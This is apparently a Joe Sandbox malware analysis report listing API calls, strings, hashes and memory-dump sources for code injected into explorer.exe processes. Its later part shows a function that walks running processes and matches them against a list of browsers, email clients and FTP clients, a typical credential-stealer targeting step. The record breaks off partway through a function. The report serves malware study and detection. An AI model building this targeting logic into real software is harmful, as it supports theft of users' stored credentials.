wsprintfA.USER32 ref: 030F214F

Strings

%li, xrefs: 030F2149

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: 5425d1e8409f8694368b1ea6c500202a931d9e2d58b74a0862535dbc8f91b6d5
Instruction ID: 6f2fa7f8d196beedb6852ba36e486f73eb2f213af19b7bece30b7ad195b51a7f
Opcode Fuzzy Hash: 5425d1e8409f8694368b1ea6c500202a931d9e2d58b74a0862535dbc8f91b6d5
Instruction Fuzzy Hash: 5EE0D13654130477C7147BB49C05FEF7B6CDB45A55F040191F504E5149D6724A1483D5

Function 03102FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 0310316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 031031D2
_alldiv.NTDLL(?,?,00000000), ref: 031032DE
_allmul.NTDLL(00000000,?,00000000), ref: 031032E7
_allmul.NTDLL(?,00000000,?,?), ref: 03103392

Part of subcall function 031016CD: memset.NTDLL ref: 0310172B

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: fda7806538f7fa83204d29641d915ab4a811c8e2fbdb9de89436d0d78c9cd8e5
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: CED18C796083419FDB24DF69C480B6EB7E5AF8C704F084D2DF9A59B290DBB0D845CB92

Function 031287FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 03128AC8
old, xrefs: 0312889E
new, xrefs: 031288AA

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: bd9361bad644a2102be7996b4e9383caefc5f701744d05a1ec414d3ae26efdb4
Instruction ID: bdd88e7cafb010d849661e743379c57873bcc4c9f4e50dd7ad068b346a5c0b1f
Opcode Fuzzy Hash: bd9361bad644a2102be7996b4e9383caefc5f701744d05a1ec414d3ae26efdb4
Instruction Fuzzy Hash: 8DD117746083109FD714DF25C880B6FBBEAAFC8754F14892EF9458B290DB74D962CB92

Function 030F96BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 030F96E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 030F9707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 030F9739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 030F976C
_allmul.NTDLL(?,?,?,?), ref: 030F9798

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: f73f516de98ce030a8a172901cce63d3a96f2ee46a0d135d8856d9fcf251a395
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 9D21EF3AA0B3552FD774DD1B5CC0B6BBACDCBD57A4F2D052EEB018AE50FB52880081A1

Function 0310B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 0310B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 0310B20F
_allrem.NTDLL(?,00000000,?,?), ref: 0310B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 0310B298

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: 8bb5ef7ee9f947890151d952152cd34c7c221b96223e7c7f80298b2e18ba3162
Instruction ID: 03789c6259646c3e000f8b020875151300511d71ca31d81d5002d81e9aa371df
Opcode Fuzzy Hash: 8bb5ef7ee9f947890151d952152cd34c7c221b96223e7c7f80298b2e18ba3162
Instruction Fuzzy Hash: EC4107756083419FC718EF25C890A2AF7E6BFCD200F04892DF9959B291DB71EC05CB92

Function 030F1895 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.COMBASE(?,?), ref: 030F18A7
GlobalLock.KERNEL32(030F4B57), ref: 030F18B6
GlobalUnlock.KERNEL32(?), ref: 030F18F4

Part of subcall function 030F1000: GetProcessHeap.KERNEL32(00000008,?,030F11C7,?,?,00000001,00000000,?), ref: 030F1003
Part of subcall function 030F1000: RtlAllocateHeap.NTDLL(00000000), ref: 030F100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 030F18E8

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID:
API String ID: 1688112647-0
Opcode ID: 81964d813b991a063bfac6bdd8a8d0396271b5323c1c4474b7767403fe1351bd
Instruction ID: e0ce5393318416408cf8b5712a026b33bc9ea07ccee4050f8841b62fa21fe6c5
Opcode Fuzzy Hash: 81964d813b991a063bfac6bdd8a8d0396271b5323c1c4474b7767403fe1351bd
Instruction Fuzzy Hash: 0501AD79202306EF8B09AF25980889FBBE9EFC9251B04842EFA4587610DF36C8058B20

Function 030F1953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,030F2F0C), ref: 030F1973
lstrlenW.KERNEL32(03146564,?,?,030F2F0C), ref: 030F1978
lstrcatW.KERNEL32(00000000,?,?,?,030F2F0C), ref: 030F1990
lstrcatW.KERNEL32(00000000,03146564,?,?,030F2F0C), ref: 030F1994

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: d4982b0fedacb0968a10ae810ccc6fd45e7bebad1663e127f3a1e3434708dfeb
Instruction ID: b6087aded0b1e5d243c45be7a33f4a971ccca536fa2bc1a56a8725a13960c26a
Opcode Fuzzy Hash: d4982b0fedacb0968a10ae810ccc6fd45e7bebad1663e127f3a1e3434708dfeb
Instruction Fuzzy Hash: 95E065A630521C5F8718B6AE5C94D7B76DCCACD5A53090079FB09D3205FB569C0546F0

Function 0311F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 030F6A81: memset.NTDLL ref: 030F6A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0311F2A1

Strings

%llu, xrefs: 0311F25E
%llu, xrefs: 0311F2A8

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: 88433cdb8012bdf03943d841dcaef5d6abeba7de99f84315994e2d1b90246861
Instruction ID: 37ff861c73e6809a3a608cc692b6fe8ce9926657369e66b37f501fadc7e9e572
Opcode Fuzzy Hash: 88433cdb8012bdf03943d841dcaef5d6abeba7de99f84315994e2d1b90246861
Instruction Fuzzy Hash: 9E21D4B66403056FC610EA64CC41FAFB769AF89730F044328FA219B6C0DB21DC2686E1

Function 0310203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 03102174
_allmul.NTDLL(?,?,?,00000000), ref: 0310220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 03102241
_allmul.NTDLL(030F2E26,00000000,?,?), ref: 03102295

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: 4b6fe27fe4036bdb092d24d4991674e9d30c714a4926965420b48dd7faaa4225
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: ADA18B747087059FC714EEA4C894A2EB7EAAFCC704F444C2DF6558B290EBB1EC468B42

Function 031078B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 03107979
memset.NTDLL ref: 0310798A
memcpy.NTDLL(?,?,?), ref: 03107A00
memset.NTDLL ref: 03107A14

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: eaff050aa4eac8f2408cedc3c65164600f6ffa913653a6c1a289204721c2930e
Instruction ID: a4eaff962fefa50fee9212452793f19d70e83d5588426507adea61240fb60abc
Opcode Fuzzy Hash: eaff050aa4eac8f2408cedc3c65164600f6ffa913653a6c1a289204721c2930e
Instruction Fuzzy Hash: B68180756083149FC354EF29C880A2BBBE5FF8C614F09496DF8CA9B291D7B0E944CB91

Function 030F190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,030F2783), ref: 030F192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,030F2783), ref: 030F1930
lstrcat.KERNEL32(00000000,?), ref: 030F1946
lstrcat.KERNEL32(00000000,00000000), ref: 030F194A

Memory Dump Source

Source File: 0000000C.00000002.2734028069.00000000030F1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30f1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: d8577aba4ba9fdd4c47df673f5e8d48931c0446900ef85619bfa19fc2473da5b
Instruction ID: ba73c824ddac268f8083d0d6f2cae6dcf6bcd33d05f5a0b808aaef42c2716c50
Opcode Fuzzy Hash: d8577aba4ba9fdd4c47df673f5e8d48931c0446900ef85619bfa19fc2473da5b
Instruction Fuzzy Hash: 1DE09BA630525C6F4624B6AE5C84D7B76DCCACD4A53090175FA05D3205EF569C0146F0

Analysis Process: explorer.exePID: 5652, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	86.8%
Signature Coverage:	0%
Total number of Nodes:	182
Total number of Limit Nodes:	17

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003C30A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 003C3104
FindNextFileW.KERNELBASE ref: 003C3218
FindClose.KERNELBASE ref: 003C3229

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: 4ec66c56d9503b2d86d15db3a28e20a3f2c0276f556451b89981f72dbc79b463
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: D9414E31318B4C4FDB96FB289899BAB76D2FBD8340F448A2DA44AC7251EE74DD048781

Function 003C38B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 003C38F2

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: a165544b0287e9e96878b1e8a1011961125619e3f2542fd40a412db9c75e0e3a
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: 91F0E520F11B080BEF6D77BD685D73832D0EB59310F90852DB519CB2D2DD398E498302

Function 003C2774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 003C27C7
RegQueryValueExW.KERNELBASE ref: 003C27F4
RegQueryValueExW.KERNELBASE ref: 003C283A
RegCloseKey.KERNELBASE ref: 003C2860

Part of subcall function 003C1860: RtlFreeHeap.NTDLL ref: 003C1880

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: QueryValue$CloseFreeHeapOpen
String ID:
API String ID: 1641618270-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: 68a4966c2a37c3e435b7fa76e6fbaf7f06345f814b7384f47d6ac19ef80bc0f6
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: F531A73020CB488FE76AEB29D498B7B77D0FBA8355F55062EE48AC2265DF34CC458742

Function 003C372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 003C37B2
RegCloseKey.KERNELBASE ref: 003C37C1

Strings

?, xrefs: 003C37A2

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: c6e9aad6742eec22bfa4e675b87a3262b69cfd09f8c4d020de14bf5e1263c5d6
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: 3B119070618B4C8FD751DF29D48876AB7E1FB98305F40062EE48AC3221DF38D985CB82

Function 003CA298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 003CA397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 003CA441
VirtualProtect.KERNELBASE ref: 003CA45F

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C9000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c9000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 78b186e72f95afb549928c4e93b5a8873a96b521806b7ad71ef0f70e21ac9e94
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 6F51AD32368D5D4BCB26AB7C9CD4BF4B3D1F759329B180A2EC08AC3284D959DC468383

Function 003C3254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003C298C: GetFileAttributesW.KERNELBASE ref: 003C299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 003C330F
GetPrivateProfileStringW.KERNEL32 ref: 003C336F
GetPrivateProfileIntW.KERNEL32 ref: 003C338C

Part of subcall function 003C30A8: FindFirstFileW.KERNELBASE ref: 003C3104

Part of subcall function 003C1860: RtlFreeHeap.NTDLL ref: 003C1880

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: PrivateProfile$File$AttributesFindFirstFreeHeapNamesSectionString
String ID:
API String ID: 970345848-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: 095e211b7fdd89d24ba50e8bf211e9338c3d158f7659586b130103e33c683cc8
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: D251E830718F0D4FDB5EBB2D9816F7932D2EB98300B45456DE40AC7292EE64DD468386

Function 003C3458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 003C347E
RegOpenKeyExW.KERNELBASE ref: 003C353F
RegEnumKeyExW.KERNELBASE ref: 003C35D6

Part of subcall function 003C2774: RegOpenKeyExW.KERNELBASE ref: 003C27C7
Part of subcall function 003C2774: RegQueryValueExW.KERNELBASE ref: 003C27F4
Part of subcall function 003C2774: RegQueryValueExW.KERNELBASE ref: 003C283A
Part of subcall function 003C2774: RegCloseKey.KERNELBASE ref: 003C2860

Part of subcall function 003C3254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 003C330F

Part of subcall function 003C1860: RtlFreeHeap.NTDLL ref: 003C1880

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumFreeHeapNamesPrivateProfileSection
String ID:
API String ID: 1841478724-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: 57d02b946627feab4c883a59cf4209656059d540c4d1843b3a632c8ebaee37e0
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: 72415B30718F0C4FDB99EF6D8499B2AB6E2FB99341F40456EA54EC3262DE34DD448782

Function 003C2938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 003C2966
CloseHandle.KERNELBASE ref: 003C297A

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: d45f4556bc98dee0a5c65bd542ad89576d3fb17844e482f09bd4e9493782d882
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: 5AF02B7121570A4FE7456FB84498737B6D0FB08315F18473DE85AC22D0DB748C528702

Function 003C22B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 003C22D0

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 321a2a249cccc43946f344bea037f32e8441d9324d045b9b7548199cb4b5b631
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 00E0C230108B0A8FD798AFBCE4CA57A33A1FB9C252B05093FE005CB114D2798CC1C741

Function 003C298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 003C299E

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: ddfb727e897995a23b707625c96e44b56998bb885c9885506603d286f9be1c1b
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: A9D05E22612905076B7626F908D977220A4D71932AB15022EFA36C11A0EBA5CCA5A301

Function 003C1860 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 003C1880

Memory Dump Source

Source File: 0000000D.00000002.2670899229.00000000003C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 003C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3c1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction ID: eadcac103f6ded0972b1c8f5b6fe416202d02949734da3f02d76e5dc4ef3d463
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: 83D02224706A040BFF2CBBFA0C8D2347AD2E758312B088028B808C3252DD39CC85C301

Analysis Process: explorer.exePID: 5368, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	27.5%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00581016 Relevance: 87.7, APIs: 30, Strings: 20, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00582608: VirtualQuery.KERNEL32(00584434,?,0000001C), ref: 00582615

Part of subcall function 00582861: GetProcessHeap.KERNEL32(00000008,0000A000,005810CC), ref: 00582864
Part of subcall function 00582861: RtlAllocateHeap.NTDLL(00000000), ref: 0058286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00581038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0058106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00581074
GetCurrentProcessId.KERNEL32(?,00581010), ref: 0058107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005810DF
Process32First.KERNEL32(00000000,?), ref: 005810FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0058111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0058112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 00581142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 00581156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00581166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0058117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0058118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 005811A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 005811B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 005811CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 005811DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 005811F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 00581206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 00581216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 00581226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 00581236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 00581246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 00581256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 00581266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 00581276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 005812B4
Process32Next.KERNEL32(00000000,00000128), ref: 0058130B
CloseHandle.KERNELBASE(00000000), ref: 0058131C
Sleep.KERNELBASE(000003E8), ref: 00581327

Strings

thunderbird.exe, xrefs: 005811C0
thebat32.exe, xrefs: 00581198
iexplore.exe, xrefs: 00581124
smartftp.exe, xrefs: 005811E8
chrome.exe, xrefs: 00581138
microsoftedgecp.exe, xrefs: 005810D2, 00581160, 005812AE
opera.exe, xrefs: 0058114C
mailmaster.exe, xrefs: 0058122C
flashfxp.exe, xrefs: 0058120C
thebat.exe, xrefs: 00581184
thebat64.exe, xrefs: 005811AC
foxmail.exe, xrefs: 0058124C
outlook.exe, xrefs: 00581170
firefox.exe, xrefs: 00581114
263em.exe, xrefs: 0058123C
mailchat.exe, xrefs: 0058126C
winscp.exe, xrefs: 005811FC
alimail.exe, xrefs: 0058125C
filezilla.exe, xrefs: 005811D4
cuteftppro.exe, xrefs: 0058121C

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-1680033604
Opcode ID: 695a1b559b075e4d193dd566be9111642ca515b98bfe6aea47608f0cbcefed6e
Instruction ID: 9b1b9a977d58da684a2f471a5973eb75017f444a3d7259be621f5b4ebf04f40d
Opcode Fuzzy Hash: 695a1b559b075e4d193dd566be9111642ca515b98bfe6aea47608f0cbcefed6e
Instruction Fuzzy Hash: 16718730504706ABDB10FBB19C49E6A7FACBF55B90F040929FD41F2091EF25D90ACB69

Function 005810A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00582861: GetProcessHeap.KERNEL32(00000008,0000A000,005810CC), ref: 00582864
Part of subcall function 00582861: RtlAllocateHeap.NTDLL(00000000), ref: 0058286B

